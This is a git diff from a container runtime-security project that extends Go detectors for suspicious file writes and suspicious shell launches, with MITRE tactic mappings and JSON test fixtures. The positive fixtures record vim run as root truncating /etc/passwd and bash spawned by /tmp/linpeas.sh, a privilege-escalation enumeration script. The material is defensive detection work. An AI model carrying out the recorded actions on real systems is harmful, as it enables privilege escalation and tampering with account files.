(affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapAccountsNoArgs, path, binary, binDir) + case (action == "mmap") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapAccountsDefault, path, binary, binDir, binaryArgs) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapPamNoArgs, path, binary, binDir) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapPamDefault, path, binary, binDir, binaryArgs) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapKernelOptsNoArgs, path, binary, binDir) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsMmapKernelOptsDefault, path, binary, binDir, binaryArgs) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenameAccountsNoArgs, path, newFile, binary, binDir) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenameAccountsDefault, path, newFile, binary, binDir, binaryArgs) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenamePamNoArgs, path, newFile, binary, binDir) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenamePamDefault, path, newFile, binary, binDir, binaryArgs) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenameKernelOptsNoArgs, path, newFile, binary, binDir) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsRenameKernelOptsDefault, path, newFile, binary, binDir, binaryArgs) + } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil } return resp, nil @@ -250,262 +571,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDQzNTMxMjYyNDY0NTI6MzI3NjYzNw==", - "pid": 3276637, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/vim", - "arguments": "/etc/passwd", - "flags": "execve rootcwd clone", - "start_time": "2024-03-24T07:59:39.919696742Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 70741, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTQwOTc2MzA6MzI3MTU0OA==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3276637, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTQwOTc2MzA6MzI3MTU0OA==", - "pid": 3271548, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-24T07:50:54.347547990Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 70735, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTI1OTc0NTQ6MzI3MTU0OA==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3271548, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "security_path_truncate", - "args": [ - { - "path_arg": { - "mount": "", - "path": "/etc/passwd", - "flags": "" - }, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "file-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-24T07:59:45.657000301Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/negative_benign_path.json new file mode 100644 index 00000000..dc1a092a --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /tmp/scratch.log\"" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/tmp/scratch.log", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/positive_etc_passwd_write.json b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/positive_etc_passwd_write.json new file mode 100644 index 00000000..b96d011c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/testdata/positive_etc_passwd_write.json @@ -0,0 +1,273 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDQzNTMxMjYyNDY0NTI6MzI3NjYzNw==", + "pid": 3276637, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/vim", + "arguments": "/etc/passwd", + "flags": "execve rootcwd clone", + "start_time": "2024-03-24T07:59:39.919696742Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 70741, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTQwOTc2MzA6MzI3MTU0OA==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3276637, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTQwOTc2MzA6MzI3MTU0OA==", + "pid": 3271548, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-24T07:50:54.347547990Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 70735, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDM4Mjc1NTI1OTc0NTQ6MzI3MTU0OA==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3271548, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "security_path_truncate", + "args": [ + { + "path_arg": { + "mount": "", + "path": "/etc/passwd", + "flags": "" + }, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-file-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-24T07:59:45.657000301Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SUSP_FILE_WRITE", + "severity": "HIGH", + "reason_contains": "/etc/passwd", + "tactics": [ + "TA0003", + "TA0004", + "TA0040" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_SHELL/main.go b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/main.go index 0564eaf0..f0c98e32 100644 --- a/event-processor/detector/wasm/CS_RT_SUSP_SHELL/main.go +++ b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/main.go @@ -4,6 +4,8 @@ package main import ( "context" + "fmt" + "strings" "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -19,6 +21,11 @@ const ( License = "Apache License 2.0" ) +const ( + ExecNoArgs = "Detected a suspicious startup of the `%s` command shell whose parent process was created by the executable file `%s` from the `%s` directory" + ExecDefault = "Detected a suspicious startup of the `%s` command shell with the `%s` arguments. The parent process of the shell was created by the executable file `%s` from the `%s` directory." +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -37,6 +44,39 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1190", + }, + }, + { + Id: "TA0002", + Techniques: []string{ + "T1059.004", + "T1059.006", + "T1059.011", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1543", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1543", + "T1611", + "T1068", + }, + }, + } +) + var ( shells = []glob.Glob{ glob.MustCompile("*/ash"), @@ -185,8 +225,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -194,12 +234,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -229,8 +270,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe switch ev := event.(type) { case *tetragon.GetEventsResponse_ProcessExec: exec := ev.ProcessExec - binary := exec.GetProcess().GetBinary() + args := exec.GetProcess().GetArguments() parentBinary := exec.GetParent().GetBinary() shell := false @@ -265,6 +306,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe } if suspParent || suspDir { + resp.TacticsCovered = mitreTactics + parentBinaryDir := parentBinary[0 : strings.LastIndex(parentBinary, "/")+1] + if args == "" { + resp.Reason = fmt.Sprintf(ExecNoArgs, binary, parentBinary, parentBinaryDir) + } else { + resp.Reason = fmt.Sprintf(ExecDefault, binary, args, parentBinary, parentBinaryDir) + } resp.Severity = api.DetectResp_HIGH } @@ -281,245 +329,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_exec": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzODA1NzY1NDI3Mjc6MTczODQ2NA==", - "pid": 1738464, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T12:56:47.369992957Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 62632, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzNzUyOTI1MDExMDY6MTczNzA5OA==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1738464, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzNzUyOTI1MDExMDY6MTczNzA5OA==", - "pid": 1737098, - "uid": 0, - "cwd": "/", - "binary": "/tmp/linpeas.sh", - "arguments": "/tmp/linpeas.sh", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T12:56:42.085951573Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 61338, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1737098, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-22T12:56:47.369992646Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/negative_benign_parent.json b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/negative_benign_parent.json new file mode 100644 index 00000000..b3f75bca --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/negative_benign_parent.json @@ -0,0 +1,28 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-i" + }, + "parent": { + "pid": 1, + "binary": "/sbin/init", + "arguments": "" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/positive_bash_from_tmp_parent.json b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/positive_bash_from_tmp_parent.json new file mode 100644 index 00000000..899ff35f --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_SHELL/testdata/positive_bash_from_tmp_parent.json @@ -0,0 +1,257 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzODA1NzY1NDI3Mjc6MTczODQ2NA==", + "pid": 1738464, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T12:56:47.369992957Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 62632, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzNzUyOTI1MDExMDY6MTczNzA5OA==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1738464, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODkzNzUyOTI1MDExMDY6MTczNzA5OA==", + "pid": 1737098, + "uid": 0, + "cwd": "/", + "binary": "/tmp/linpeas.sh", + "arguments": "/tmp/linpeas.sh", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T12:56:42.085951573Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 61338, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1737098, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + } + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-22T12:56:47.369992646Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SUSP_SHELL", + "severity": "HIGH", + "reason_contains": "command shell", + "tactics": [ + "TA0001", + "TA0002", + "TA0003", + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": 